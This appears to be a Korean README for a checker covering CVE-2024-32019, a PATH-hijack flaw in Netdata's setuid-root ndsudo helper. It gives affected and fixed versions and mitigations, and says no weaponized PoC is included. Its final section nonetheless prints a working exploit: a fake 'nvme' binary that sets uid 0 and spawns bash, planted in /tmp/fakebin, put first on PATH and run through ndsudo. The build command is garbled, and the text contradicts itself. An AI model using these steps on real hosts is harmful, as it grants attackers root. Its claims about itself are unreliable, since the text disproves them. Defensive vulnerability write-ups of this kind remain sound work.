
무기화되지 않은 PoC 및 CVE-2024-32019 검사기, Netdata의 ndsudo 도우미의 로컬 권한 상승 취약점입니다. 노출 평가, 패치 검증, PATH 기반 익스플로잇 벡터 이해.
ndsudo 로컬 권한 상승Netdata의 ndsudo 헬퍼(setuid root로 설치됨)는 실행할 명령어를 제한하지만, 해당 명령어를 호출자의 PATH를 사용하여 확인합니다. 영향을 받는 버전에서는 로컬 사용자가 악성 바이너리를 PATH의 앞쪽에 배치하고 ndsudo가 이를 루트 권한으로 실행하게 할 수 있습니다. Netdata 1.45.3 및 1.45.0-169에서 패치되었습니다.
영향받는 버전: >= 1.44.0-60, < 1.45.0-169 및 >= 1.45.0, < 1.45.3 (업스트림 권고에 따름).
수정된 버전: 1.45.3 (안정), 1.45.0-169 (야간). GitHub
ndsudo가 SUID로 설치되어 있고 사용자가 이를 호출할 수 있는 시스템(일반적으로 netdata 그룹의 구성원)에서 로컬 루트로의 권한 상승이 발생합니다. NVDGitHub
ndsudo는 SUID-루트이며 nvme-list, nvme-smart-log 등과 같은 하위 명령어를 허용 목록에 포함합니다.
외부 실행 파일을 이름(예: nvme)으로 호출하며, 절대 경로나 안전한 고정 검색 대신 **PATH**를 통해 확인됩니다.
쓰기 가능한 디렉토리가 시스템 경로보다 앞에 있으면, 공격자가 유사한 바이너리를 도입하여 루트로 실행되게 할 수 있습니다. GitHub
이 저장소는 다음을 수행하는 비익스플로잇 검사기를 포함합니다:
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo (또는 설치된 위치)의 SUID/소유권을 검사합니다.
일반적인 시스템 경로보다 앞에 있는 쓰기 가능한 디렉토리를 PATH에서 열거합니다.
ndsudo가 실행하려고 시도할 수 있는 허용된 하위 명령어 이름의 존재를 확인합니다.
선택적으로 ndsudo --test <subcommand>를 실행하여 확인된 명령어를 실행하지 않고 출력합니다 (주의해서 사용하고, 먼저 코드를 읽으십시오). GitHub
⚠️ 무기화된 PoC는 포함되어 있지 않습니다. 이 프로젝트는 방어자와 연구자가 노출도를 평가하고 패치를 책임감 있게 검증하기 위한 것입니다.
Netdata를 1.45.3 (안정) 또는 1.45.0-169 (야간)로 업그레이드하십시오.
심층 방어 조치로, SUID 헬퍼에서 절대 경로 또는 정리된 최소 PATH를 선호하고, 불필요한 ndsudo 접근 권한을 부여하지 마십시오. GitHubwiz.io
nvme.c로 저장합니다:#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc nvme.c - nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
PATH 수정export PATH=/tmp/fakebin:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
NVD: CVE-2024-32019. NVD
Netdata 권고 (GHSA-pmhq-4cxq-wj93). GitHub
Wiz 요약. wiz.io
Snyk 분석. Vulnerability Guide
MITRE/CVE 목록. CVE